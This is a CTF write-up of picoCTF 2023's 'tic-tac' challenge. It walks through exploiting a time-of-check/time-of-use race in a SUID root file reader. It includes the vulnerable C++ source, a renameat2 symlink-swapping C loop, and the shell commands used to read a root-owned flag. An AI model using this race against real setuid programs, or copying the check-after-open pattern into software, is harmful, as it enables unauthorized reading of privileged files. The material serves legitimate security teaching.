siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

tic-tac

Overview

Background

Author: Junias Bonou

Description

Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it. ssh to saturn.picoctf.net:56275, and run the binary named “txtreader” once connected. Login as ctf-player with the password, 483e80d4

Find the flag

In this challenge, we can SSH into the instance machine:

┌[siunam♥earth]-(~/ctf/picoCTF-2023)-[2023.03.28|22:15:45(HKT)]
└> ssh -p 56275 ctf-player@saturn.picoctf.net
[...]
ctf-player@saturn.picoctf.net's password: 
[...]
ctf-player@pico-chall$ ls -lah
total 32K
drwxr-xr-x 1 ctf-player ctf-player  20 Mar 28 14:15 .
drwxr-xr-x 1 root       root        24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player  34 Mar 28 14:15 .cache
-rw-r--r-- 1 root       root        67 Mar 16 02:28 .profile
-rw------- 1 root       root        32 Mar 16 02:28 flag.txt
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root       root       19K Mar 16 02:28 txtreader

Right off the bat, we see 3 files in the ctf-player home directory: flag.txt, src.cpp, txtreader.

The txtreader executable has a SUID sticky bit, which will run the executable as the owner (root).

src.cpp:

#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  }

  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;

  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  }

  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  }

  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

  return 0;
}

This C++ source code is the compiled txtreader executable.

In this source code, we can see something really interesting:

std::string filename = argv[1];
std::ifstream file(filename);
[...]
// Check the file's status information.
[...]
// Check the file's owner.
[...]
// Read the contents of the file.
if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

As you can see, it first open the file, then check the file’s status information and owner.

If all checks are passed, then we can read the given file.

Hmm… I can smell some race condition!

After poking around, I found LiveOverflow’s video about “file path race condition” , which is very helpful for us.

In that video, he talks about we can:

Also, he mentioned about the logrotate exploit’s rename.c:

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}

This C code will exchange 2 files that we given in an infinite loop.

Armed with above information, we can create a symlink file and a dummy file:

ctf-player@pico-chall$ ln -s flag.txt fakeflag.txt
ctf-player@pico-chall$ touch raceme.txt
ctf-player@pico-chall$ ls -lah
[...]
lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 28 14:25 fakeflag.txt -> flag.txt
[...]
-rw-rw-r-- 1 ctf-player ctf-player   0 Mar 28 14:25 raceme.txt
[...]

Then, copy and paste the rename.c code and compile it:

ctf-player@pico-chall$ nano rename.c
ctf-player@pico-chall$ gcc rename.c -o rename

Next, run rename executable with file fakeflag.txt and raceme.txt, throw that into background via &:

ctf-player@pico-chall$ ./rename fakeflag.txt raceme.txt &
[1] 63

This will constantly exchanging our symlink fakeflag.txt and raceme.txt:

-rw-rw-r-- 1 ctf-player ctf-player   0 Mar 28 14:25 fakeflag.txt
lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 28 14:25 raceme.txt -> flag.txt

In here, the exchange is so fast, that the raceme.txt is symlink to flag.txt!!

With that said, we can run txtreader fakeflag.txt to read the flag!

ctf-player@pico-chall$ ./txtreader fakeflag.txt 
Error: you don't own this file
ctf-player@pico-chall$ ./txtreader fakeflag.txt 
Error: you don't own this file
ctf-player@pico-chall$ ./txtreader fakeflag.txt 
picoCTF{ToctoU_!s_3a5y_2075872e}

Nice!!!

Conclusion

What we’ve learned:

  1. File Path Race Condition